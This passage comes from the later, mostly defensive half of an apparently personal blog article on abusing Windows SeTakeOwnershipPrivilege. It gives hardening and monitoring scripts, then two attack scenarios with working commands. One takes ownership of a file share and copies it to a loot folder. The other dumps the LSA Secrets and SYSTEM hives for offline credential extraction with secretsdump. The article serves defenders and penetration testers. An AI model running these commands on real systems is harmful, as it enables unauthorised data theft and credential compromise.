# Grant temporary SeTakeOwnershipPrivilege
function Grant-TemporaryTakeOwnership {
    param(
        [string]$UserName,
        [int]$Hours = 4
    )

    # Add user to TakeOwnership_JIT group
    Add-LocalGroupMember -Group "TakeOwnership_JIT" -Member $UserName

    # Schedule removal
    $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Command `"Remove-LocalGroupMember -Group 'TakeOwnership_JIT' -Member '$UserName'`""
    $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddHours($Hours)
    Register-ScheduledTask -TaskName "Remove_$UserName_TakeOwnership" -Action $action -Trigger $trigger

    Write-Host "[+] Granted SeTakeOwnershipPrivilege to $UserName for $Hours hours"
}

# Usage
Grant-TemporaryTakeOwnership -UserName "CORP\backupadmin" -Hours 4

File System Hardening

Implement File Integrity Monitoring (FIM):

# Windows built-in auditing for file system changes
auditpol /set /subcategory:"File System" /success:enable /failure:enable

# Configure specific directories for monitoring
$paths = @(
    "C:\Windows\System32\config",
    "C:\inetpub\wwwroot",
    "C:\Program Files",
    "C:\Keys"
)

foreach ($path in $paths) {
    $acl = Get-Acl $path
    $auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
        "Everyone",
        "TakeOwnership,ChangePermissions",
        "ContainerInherit,ObjectInherit",
        "None",
        "Success,Failure"
    )
    $acl.SetAuditRule($auditRule)
    Set-Acl -Path $path -AclObject $acl
}

Protect Sensitive Files with Explicit Deny ACLs:

# Add explicit DENY for ownership changes
$file = "C:\Sensitive\database.config"
$acl = Get-Acl $file

$denyRule = New-Object System.Security.AccessControl.FileSystemAccessRule(
    "BUILTIN\Users",
    "TakeOwnership,ChangePermissions",
    "Deny"
)

$acl.SetAccessRule($denyRule)
Set-Acl -Path $file -AclObject $acl

Deny ACLs Limitation

Explicit DENY ACLs can help but will not prevent users with SeTakeOwnershipPrivilege from taking ownership. They provide defense-in-depth against permission escalation attempts without the privilege.

Service Account Hardening

Managed Service Accounts (MSA/gMSA):

# Create Group Managed Service Account (gMSA)
New-ADServiceAccount -Name BackupSvc -DNSHostName backupsvc.corp.local -PrincipalsAllowedToRetrieveManagedPassword "BackupServers"

# Install on target system
Install-ADServiceAccount -Identity BackupSvc

# Configure service to use gMSA
$service = Get-WmiObject -Class Win32_Service -Filter "Name='BackupService'"
$service.Change($null,$null,$null,$null,$null,$null,"CORP\BackupSvc$",$null)

Benefits:

  • Automatic password management
  • No user-managed credentials
  • Auditable through AD
  • Can restrict privilege assignment more granularly

Advanced: Privileged Access Workstations (PAWs)

For high-security environments:

  1. Segregate Administrative Access

    • Separate workstations for administrative tasks
    • No email, browsing, or general productivity on PAWs
    • Strict application whitelisting
  2. Implement Credential Tiering

    • Tier 0: Domain controllers and enterprise admins
    • Tier 1: Servers and service accounts
    • Tier 2: Workstations and standard users
    • Prevent credential use across tiers
  3. Enable Enhanced Security

    • Credential Guard
    • Device Guard / WDAC
    • HVCI (Hypervisor-protected Code Integrity)
    • BitLocker with TPM

Real-World Attack Scenarios

Scenario 1: File Share Compromise

Initial Access

Penetration tester gains access to file server through compromised service account credentials

Discovery

Enumerates file shares and discovers restricted "Legal" directory with sensitive contract documents

Privilege Enumeration

Checks privileges and finds SeTakeOwnershipPrivilege assigned to backup service account

Exploitation

# Enable privilege
. .\EnableAllTokenPrivs.ps1

# Take ownership of target directory
takeown /f "\\fileserver\Legal\Contracts" /r /d y

# Grant access
icacls "\\fileserver\Legal\Contracts" /grant CORP\backupsvc:F /t

# Exfiltrate data
robocopy "\\fileserver\Legal\Contracts" "C:\Temp\loot" /E /Z

Impact

Complete compromise of confidential legal contracts, merger documents, and attorney-client privileged communications

Lessons Learned:

  • Service accounts should not have SeTakeOwnershipPrivilege
  • Implement file access monitoring and DLP solutions
  • Use file classification and rights management
  • Monitor for unusual file access patterns

Scenario 2: Registry-Based Credential Theft

Access Obtained

Attacker compromises developer workstation with administrative access and SeTakeOwnershipPrivilege

Target Identification

Identifies LSA Secrets registry hive contains service account credentials

Registry Exploitation

# Take ownership of LSA Secrets
Set-RegistryKeyOwner -RegistryPath "HKLM\SECURITY\Policy\Secrets"

# Export secrets
reg save HKLM\SECURITY C:\Temp\SECURITY
reg save HKLM\SYSTEM C:\Temp\SYSTEM

# Extract credentials using impacket
secretsdump.py -security SECURITY -system SYSTEM LOCAL

Lateral Movement

Uses extracted service account credentials to move laterally to production servers

Lessons Learned:

  • Developer workstations should not have sensitive privileges
  • Implement LSA Protection (RunAsPPL)
  • Use Credential Guard to isolate secrets
  • Monitor registry access to sensitive hives

References

MITRE ATT&CK Techniques

Common Weakness Enumeration

Microsoft Documentation

Tools Documentation

Conclusion

SeTakeOwnershipPrivilege represents a significant security risk when granted to non-administrative accounts or misunderstood by security teams. While designed to enable granular access control without full administrative rights, the privilege effectively provides the ability to access any securable object on a Windows system.

Key Takeaways

  1. Understand the Scope: SeTakeOwnershipPrivilege grants access to files, registry, services, and processes
  2. Minimize Assignment: Only grant to accounts with legitimate, documented business need
  3. Implement Monitoring: Track ownership changes and correlate with file access and network activity
  4. Layer Defenses: Combine policy controls, technical protections, and behavioral analytics
  5. Incident Response: Have playbooks for responding to suspicious ownership changes

Defense Checklist

  • Audit all accounts with SeTakeOwnershipPrivilege
  • Remove unnecessary privilege assignments
  • Implement Just-In-Time access for legitimate use cases
  • Configure auditing for Event IDs 4656, 4670, and 4672
  • Deploy File Integrity Monitoring on sensitive directories
  • Enable Credential Guard and LSA Protection
  • Monitor for takeown.exe and icacls.exe usage patterns
  • Create behavioral baselines for file and registry access
  • Implement DLP to detect sensitive file exfiltration
  • Regularly review and test detection capabilities

By treating SeTakeOwnershipPrivilege with the same rigor as administrative access and implementing comprehensive monitoring and controls, organizations can significantly reduce the risk of this privilege being exploited for unauthorized data access or privilege escalation.

Last updated on

On this page

Introduction
Understanding Windows Ownership and Security Descriptors
The Windows Security Model
Ownership vs. Permissions
Normal Ownership Transfer Process
What SeTakeOwnershipPrivilege Grants
Common Assignment Scenarios
Legitimate Use Cases
Group Policy Assignment Location
Enumeration and Discovery
Checking Current User Privileges
Step 1: Enumerate Privileges
Step 2: Enable the Privilege
Step 3: Identify High-Value Targets
BloodHound Enumeration
Exploitation Techniques
File System Exploitation
Taking Ownership of Sensitive Files
Targeting High-Value Files
SAM and SYSTEM Registry Hives
Web Application Configuration Files
KeePass Database Files
SSH Private Keys and Certificates
Registry Exploitation
Taking Ownership of Registry Keys
High-Value Registry Targets
Service and Process Manipulation
Step 1: Identify Service Binary Path
Step 2: Take Ownership of Service Executable
Step 3: Replace Service Binary
Step 4: Execute as SYSTEM
Detection and Monitoring
Event Log Monitoring
Event ID 4656: Handle to Object Requested (Ownership)
Event ID 4670: Permissions on an Object Changed
Event ID 4672: Special Privileges Assigned (SeTakeOwnershipPrivilege)
Process Creation Monitoring (Event ID 4688)
Behavioral Analytics
Mitigation and Hardening
Principle of Least Privilege
Step 1: Audit Current Assignments
Step 2: Remove Unnecessary Assignments
Step 3: Implement Just-In-Time Access
File System Hardening
Service Account Hardening
Advanced: Privileged Access Workstations (PAWs)
Real-World Attack Scenarios
Scenario 1: File Share Compromise
Initial Access
Discovery
Privilege Enumeration
Exploitation
Impact
Scenario 2: Registry-Based Credential Theft
Access Obtained
Target Identification
Registry Exploitation
Lateral Movement
References
MITRE ATT&CK Techniques
Common Weakness Enumeration
Microsoft Documentation
Tools Documentation
Conclusion
Key Takeaways
Defense Checklist
SeTakeOwnershipPrivilege Exploitation | Drake Axelrod